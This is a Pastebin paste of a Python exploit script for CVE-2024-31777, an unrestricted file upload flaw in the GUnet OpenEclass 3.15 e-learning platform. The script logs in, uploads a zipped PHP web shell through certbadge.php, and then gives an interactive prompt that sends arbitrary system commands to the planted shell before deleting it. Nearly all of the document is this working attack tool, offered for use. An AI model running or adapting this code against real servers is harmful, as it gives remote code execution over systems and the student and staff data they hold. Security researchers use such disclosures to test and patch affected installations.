Advertisement
FlyFar

GUnet OpenEclass E-learning platform 3.15 - 'certbadge.php Unrestricted File Upload - CVE-2024-31777

Apr 12th, 2024
703
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 4.81 KB | Cybersecurity | 0 0
  1. # Exploit Title: GUnet OpenEclass E-learning platform 3.15 - 'certbadge.php' Unrestricted File Upload
  2. # Date: 2024-02-04
  3. # Exploit Author: Georgios Tsimpidas
  4. # Vendor Homepage: https://www.openeclass.org/
  5. # Software Link: https://download.openeclass.org/files/3.15/
  6. # Version: 3.15 (2024)
  7. # Tested on: Debian Kali (Apache/2.4.57, PHP 8.2.12, MySQL 15.1)
  8. # CVE : CVE-2024-31777
  9. # GUnet OpenEclass <= 3.15 E-learning platform - Unrestricted File
  10.  
  11. import requests
  12. import argparse
  13. import zipfile
  14. import os
  15. import sys
  16.  
  17. RED = '\033[91m'
  18. GREEN = '\033[92m'
  19. YELLOW = '\033[93m'
  20. RESET = '\033[0m'
  21. ORANGE = '\033[38;5;208m'
  22.  
  23. MALICIOUS_PAYLOAD = """\
  24. <?php
  25.  
  26. if(isset($_REQUEST['cmd'])){
  27.        $cmd = ($_REQUEST['cmd']);
  28.        system($cmd);
  29.        die;
  30. }
  31.  
  32. ?>
  33. """
  34.  
  35. def banner():
  36.     print(f'''{RED}
  37. {YELLOW}
  38. ============================ Author: Frey ============================
  39. {RESET}''')
  40.  
  41. def execute_command(openeclass, filename):
  42.     while True:
  43.         # Prompt for user input with "eclass"
  44.         cmd = input(f"{RED}[{YELLOW}eClass{RED}]~# {RESET}")
  45.  
  46.         # Check if the command is 'quit', then break the loop
  47.         if cmd.lower() == "quit":
  48.             print(f"{ORANGE}\nExiting...{RESET}")
  49.             clean_server(openeclass)
  50.             sys.exit()
  51.  
  52.         # Construct the URL with the user-provided command
  53.         url = f"{openeclass}/courses/user_progress_data/cert_templates/{filename}?cmd={cmd}"
  54.  
  55.         # Execute the GET request
  56.         try:
  57.             response = requests.get(url)
  58.  
  59.             # Check if the request was successful
  60.             if response.status_code == 200:
  61.                 # Print the response text
  62.                 print(f"{GREEN}{response.text}{RESET}")
  63.  
  64.         except requests.exceptions.RequestException as e:
  65.             # Print any error that occurs during the request
  66.             print(f"{RED}An error occurred: {e}{RESET}")
  67.  
  68. def upload_web_shell(openeclass, username, password):
  69.     login_url = f'{openeclass}/?login_page=1'
  70.     login_page_url = f'{openeclass}/main/login_form.php?next=%2Fmain%2Fportfolio.php'
  71.  
  72.     # Login credentials
  73.     payload = {
  74.         'next': '/main/portfolio.php',
  75.         'uname': f'{username}',
  76.         'pass': f'{password}',
  77.         'submit': 'Enter'
  78.     }
  79.  
  80.     headers = {
  81.         'Referer': login_page_url,
  82.     }
  83.  
  84.     # Use a session to ensure cookies are handled correctly
  85.     with requests.Session() as session:
  86.         # (Optional) Initially visit the login page if needed to get a fresh session cookie or any other required tokens
  87.         session.get(login_page_url)
  88.  
  89.         # Post the login credentials
  90.         response = session.post(login_url, headers=headers, data=payload)
  91.  
  92.         # Create a zip file containing the malicious payload
  93.         zip_file_path = 'malicious_payload.zip'
  94.         with zipfile.ZipFile(zip_file_path, 'w') as zipf:
  95.             zipf.writestr('evil.php', MALICIOUS_PAYLOAD.encode())
  96.  
  97.         # Upload the zip file
  98.         url = f'{openeclass}/modules/admin/certbadge.php?action=add_cert'
  99.         files = {
  100.             'filename': ('evil.zip', open(zip_file_path, 'rb'), 'application/zip'),
  101.             'certhtmlfile': (None, ''),
  102.             'orientation': (None, 'L'),
  103.             'description': (None, ''),
  104.             'cert_id': (None, ''),
  105.             'submit_cert_template': (None, '')
  106.         }
  107.         response = session.post(url, files=files)
  108.  
  109.         # Clean up the zip file
  110.         os.remove(zip_file_path)
  111.  
  112.         # Check if the upload was successful
  113.         if response.status_code == 200:
  114.             print(f"{GREEN}Payload uploaded successfully!{RESET}")
  115.             return True
  116.         else:
  117.             print(f"{RED}Failed to upload payload. Exiting...{RESET}")
  118.             return False
  119.  
  120. def clean_server(openeclass):
  121.     print(f"{ORANGE}Cleaning server...{RESET}")
  122.     # Remove the uploaded files
  123.     requests.get(f"{openeclass}/courses/user_progress_data/cert_templates/evil.php?cmd=rm%20evil.zip")
  124.     requests.get(f"{openeclass}/courses/user_progress_data/cert_templates/evil.php?cmd=rm%20evil.php")
  125.     print(f"{GREEN}Server cleaned successfully!{RESET}")
  126.  
  127. def main():
  128.     parser = argparse.ArgumentParser(description="Open eClass – CVE-CVE-2024-31777: Unrestricted File Upload Leads to Remote Code Execution")
  129.     parser.add_argument('-u', '--username', required=True, help="Username for login")
  130.     parser.add_argument('-p', '--password', required=True, help="Password for login")
  131.     parser.add_argument('-e', '--eclass', required=True, help="Base URL of the Open eClass")
  132.     args = parser.parse_args()
  133.  
  134.     banner()
  135.     # Running the main login and execute command function
  136.     if upload_web_shell(args.eclass, args.username, args.password):
  137.         execute_command(args.eclass, 'evil.php')
  138.  
  139. if __name__ == "__main__":
  140.     main()
  141.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement